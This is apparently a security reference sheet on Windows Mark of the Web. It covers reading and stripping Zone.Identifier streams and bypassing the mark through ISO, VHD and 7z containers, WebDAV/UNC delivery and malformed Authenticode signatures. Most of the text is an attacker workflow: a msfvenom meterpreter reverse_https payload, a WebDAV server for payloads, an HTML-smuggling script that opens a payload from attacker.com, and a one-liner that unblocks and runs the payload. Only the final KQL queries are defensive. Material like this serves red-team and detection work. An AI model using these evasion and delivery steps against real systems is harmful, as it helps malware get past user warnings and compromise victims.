Mark of the Web (MoTW) Details

PS C:\Users\Analyst> Get-Item .\payload.docm -Stream *

PSPath       : Microsoft.PowerShell.Core\FileSystem::C:\payload.docm
PSChildName  : payload.docm::$DATA
Length       : 28672

PSChildName  : payload.docm:Zone.Identifier
Length       : 123

PS C:\Users\Analyst> Get-Content .\payload.docm -Stream Zone.Identifier
[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://attacker.com/payload.docm
HostUrl=https://attacker.com/payload.docm

  ┌──────────┬─────────────────────────────────────────────┐
  │ ZoneId=0 │ Local Machine (My Computer)                 │
  │ ZoneId=1 │ Local Intranet                              │
  │ ZoneId=2 │ Trusted Sites                               │
  │ ZoneId=3 │ Internet  ◄── MoTW applied here             │
  │ ZoneId=4 │ Restricted Sites                            │
  └──────────┴─────────────────────────────────────────────┘

  ┌────────────────────────────────────────────────────────────────┐
  │  Microsoft Word — Protected View                               │
  ├────────────────────────────────────────────────────────────────┤
  │  ⚠  PROTECTED VIEW  Be careful. Files from the Internet can    │
  │     contain viruses. Unless you need to edit, it's safer to    │
  │     stay in Protected View.  [ Enable Editing ]                │
  ├────────────────────────────────────────────────────────────────┤
  │  (document content rendered read-only, macros DISABLED)        │
  │                                                                │
  │  [Macro content blocked — Zone.Identifier ZoneId=3 detected]  │
  └────────────────────────────────────────────────────────────────┘

  INTERNET / UNTRUSTED SOURCE
  ┌─────────────────────────────────────────────────────────┐
  │  Browser Download  │  Email Attachment  │  USB/ISO      │
  └──────────┬──────────────────┬───────────┬──────────────┘
             │                  │           │
             ▼                  ▼           ▼
  ┌─────────────────────────────────────────────────────────┐
  │            NTFS Alternate Data Stream                   │
  │         Zone.Identifier  :$DATA                         │
  │                                                         │
  │   [ZoneTransfer]                                        │
  │   ZoneId=3                                              │
  │   ReferrerUrl=https://attacker.com/payload.zip          │
  └─────────────────────────────────────────────────────────┘
             │
             ▼
  ┌─────────────────────────────────────────────────────────┐
  │              Windows Security Checks                    │
  │                                                         │
  │   SmartScreen ──► File Reputation Check                 │
  │   UAC Prompt  ──► "Unknown Publisher" warning           │
  │   Office      ──► Protected View (macros disabled)      │
  │   Mark of Web ──► Applied to extracted archive contents │
  └─────────────────────────────────────────────────────────┘

# Check if a file has MoTW
Get-Item .\payload.docm -Stream *

# Read the Zone.Identifier content
Get-Content .\payload.docm -Stream Zone.Identifier

# Remove MoTW (Unblock-File)
Unblock-File -Path .\payload.docm

# Bulk check — find all MoTW-tagged files in a directory
Get-ChildItem C:\Users\User\Downloads -Recurse |
  Where-Object { (Get-Item $_.FullName -Stream * |
  Select-Object -ExpandProperty Stream) -contains 'Zone.Identifier' }

# Sysinternals Streams utility — enumerate all ADS
streams.exe -s C:\Users\User\Downloads\

# Output example:
C:\Users\User\Downloads\payload.iso:
   :Zone.Identifier:$DATA    127

# Remove all ADS (including MoTW) from a file
streams.exe -d payload.iso

ATTACKER WORKFLOW — ISO Container Bypass

1. Create payload:   msfvenom -p windows/x64/meterpreter/reverse_https ...
2. Create ISO:       mkisofs -o payload.iso payload.lnk
   OR (Windows):     New-IsoFile -Path payload.lnk -Destination payload.iso
3. Deliver via HTTP: victim downloads payload.iso  ← MoTW applied to .iso
4. Victim mounts:    Double-click ISO → mounts as drive letter (e.g. E:\)

RESULT: E:\payload.lnk has NO Zone.Identifier stream
        Windows Explorer shows no security warning
        LNK executes payload without SmartScreen prompt

PS> Get-Item E:\payload.lnk -Stream *
# Only ::$DATA stream present — Zone.Identifier ABSENT

# Create a VHD containing payload (PowerShell)
$vhd = New-VHD -Path C:\payload.vhdx -SizeBytes 50MB -Dynamic
Mount-VHD -Path C:\payload.vhdx
# Add payload files to mounted VHD drive letter
Copy-Item .\payload.lnk 'E:\'
Dismount-VHD -Path C:\payload.vhdx

# Result: payload.lnk inside VHDX has no Zone.Identifier when mounted

# Attacker side — serve files over WebDAV
pip install wsgidav
wsgidav --host=0.0.0.0 --port=80 --root=/srv/payloads --auth=anonymous

# Phishing lure references UNC path in HTML smuggling or document
# \\attacker.com\share\payload.exe

RESULT: Files accessed via UNC/WebDAV DO NOT receive MoTW
        (UNC paths treated as network shares, not Internet downloads)

# Delivery via HTML smuggling with UNC reference:
<script>
  var link = document.createElement('a');
  link.href = 'file://attacker.com/share/payload.exe';
  link.click();
</script>

  CONTAINER BYPASS COMPARISON
  ┌──────────────────┬─────────────┬───────────────────────────┐
  │ Container Type   │ MoTW on Cnt │ MoTW Propagates to Files? │
  ├──────────────────┼─────────────┼───────────────────────────┤
  │ .zip (standard)  │     YES     │ YES (Windows 11 22H2+)    │
  │ .zip (old Win10) │     YES     │ NO  ← bypass              │
  │ .iso             │     YES     │ NO  ← bypass              │
  │ .img             │     YES     │ NO  ← bypass              │
  │ .vhd / .vhdx     │     YES     │ NO  ← bypass              │
  │ .7z              │     YES     │ NO  ← bypass              │
  │ .rar (WinRAR)    │  SOMETIMES  │ NO  ← bypass (pre-patch)  │
  └──────────────────┴─────────────┴───────────────────────────┘
  * Microsoft patched ZIP propagation in Win11 22H2 (Oct 2022)
  * ISO/VHD mounts via Windows Explorer never propagate MoTW

# Strip MoTW from a file (requires access to filesystem)

# PowerShell — remove Zone.Identifier stream
Unblock-File -Path .\payload.docm

# Alternatively via streams
Remove-Item .\payload.docm -Stream Zone.Identifier

# CMD equivalent (copy to non-NTFS strips all ADS)
more < payload.docm > clean_payload.docm

# One-liner: strip then execute
Unblock-File $env:TEMP\payload.exe; Start-Process $env:TEMP\payload.exe

# Verification — confirm MoTW is gone
Get-Item .\payload.docm -Stream *
# Should show ONLY ::$DATA — no Zone.Identifier

# Concept: Append junk data to Authenticode signature block
# SmartScreen fails to parse signature → skips reputation check

# SmartScreen reads Authenticode → parse error → defaults to 'signed' state
# MoTW is present (ZoneId=3) but SmartScreen skips cloud lookup
# Result: file executes without SmartScreen warning

# Patched in: KB5023706 (March 2023 Patch Tuesday)
# Unpatched systems: Windows 10 21H2 and earlier without March 2023 CU

# Tool: MSIX/APPX packaging with invalid signature structure
# Tool: Custom PE manipulation (pefile Python library)

// Detect ISO/VHD files mounted from user download locations
DeviceProcessEvents
| where FileName =~ 'explorer.exe'
| where ProcessCommandLine has_any ('.iso', '.img', '.vhd', '.vhdx')
| where ProcessCommandLine has_any ('Downloads', 'Temp', 'AppData')
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
| order by Timestamp desc

// Hunt for LNK execution from mounted drive letters (non-C:)
DeviceProcessEvents
| where InitiatingProcessFileName =~ 'explorer.exe'
| where FolderPath matches regex @'^[D-Z]:\\'
| where FileName has_any ('cmd.exe','powershell.exe','mshta.exe','wscript.exe')
| project Timestamp, DeviceName, AccountName, FolderPath, FileName